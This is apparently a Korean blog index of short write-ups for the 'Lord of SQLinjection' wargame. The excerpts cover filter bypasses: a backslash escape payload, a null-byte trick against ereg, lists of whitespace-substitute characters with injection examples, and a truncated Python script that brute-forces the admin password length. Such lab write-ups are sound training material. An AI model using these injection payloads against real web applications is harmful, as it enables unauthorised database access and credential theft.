Lord of SQLinjection(18)
-
(los[Lord of SQLinjection]) NIGHTMARE 2020.04.24
-
(los[Lord of SQLinjection]) SUCCUBUS
if($result['id']) solve("succubus"); 쿼리의 결과값이 뭐든 나오면 문제가 풀립니다. id와 pw필드에 싱글쿼터를 필터링하고 있습니다. 우리는 \(백슬래시)를 적절히 이용하여 이 문제를 해결할 수 있습니다. id 파라미터에 \를 넣게되면 id 필드를 닫는 싱글쿼터가 문자열로 인식되어 pw 필드를 여는 싱글쿼터까지(' and pw=') 문자열로 인식되게 됩니다. 이후 우리가 pw 파라미터에 넣어주는 값은 문자열로 인식되는 필드를 벗어나게 됩니다. ?id=\&pw=||1%23
2020.04.24 -
(los[Lord of SQLinjection]) ZOMBIE_ASSASSION
if($result['id']) solve("zombie_assassin"); 쿼리의 결과값 id 값이 뭐든 출력되면 문제가 풀립니다. 다만 id와 pw 파라미터에 싱글쿼터가 ereg 함수로 필터링되어있네요. ereg 함수는 널바이트까지 인식하여 해당 문자열을 비교합니다. 때문에 널바이트 이후에 필터링 대상 문자열을 넣으면 해당 문자열은 필터링하지 않습니다. 우리는 이를 이용하여 문제를 해결할 수 있습니다.
2020.04.24 -
(los[Lord of SQLinjection]) ASSASSIN 2020.04.24
-
(los[Lord of SQLinjection]) GIANT
공백우회문자 -> /**/, %2-, %2b, +, %09, %0a, %0b, %0c, %0d, %a0 1) Line Feed (\n) - 커서(캐럿)를 다음 줄(현재 위치에서 바로 아래줄)로 이동시키는 개행 문자 - URL Encoding: %0a - ex) no=1%0aor%0aid='admin' 2) Tab (\t) - 커서를 한 tab만큼 이동시키는 문자 - URL Encoding: %09 - ex) no=1%09or%09id='admin' 3) Carrage Return (\r) - 커서(캐럿)를 줄의 맨 앞(왼쪽)으로 이동시키는 개행 문자 - URL Encoding: %0d - ex) no=1%0dor%0did='admin' 4) 주석 (/**/) - ex) no=1/**/or/**/id='a..
2020.04.24 -
(los[Lord of SQLinjection]) BUGBEAR
import requests password = "" for k in range(1, 20): url = "https://los.eagle-jump.org/bugbear_431917ddc1dec75b4d65a23bd39689f8.php?no=1%0a||%0aid%0ain%0a(%22admin%22)%0a%26%26%0alength(pw)%0ain%0a(" + str(k)+ ")" r = requests.post(url, cookies=(dict(PHPSESSID="dj88169ielhc1qeiqs7jkhckv7"))) print("try password length = " + str(k)) if 'Hello admin' in r.text: print("[+] find password length = " ..
2020.04.23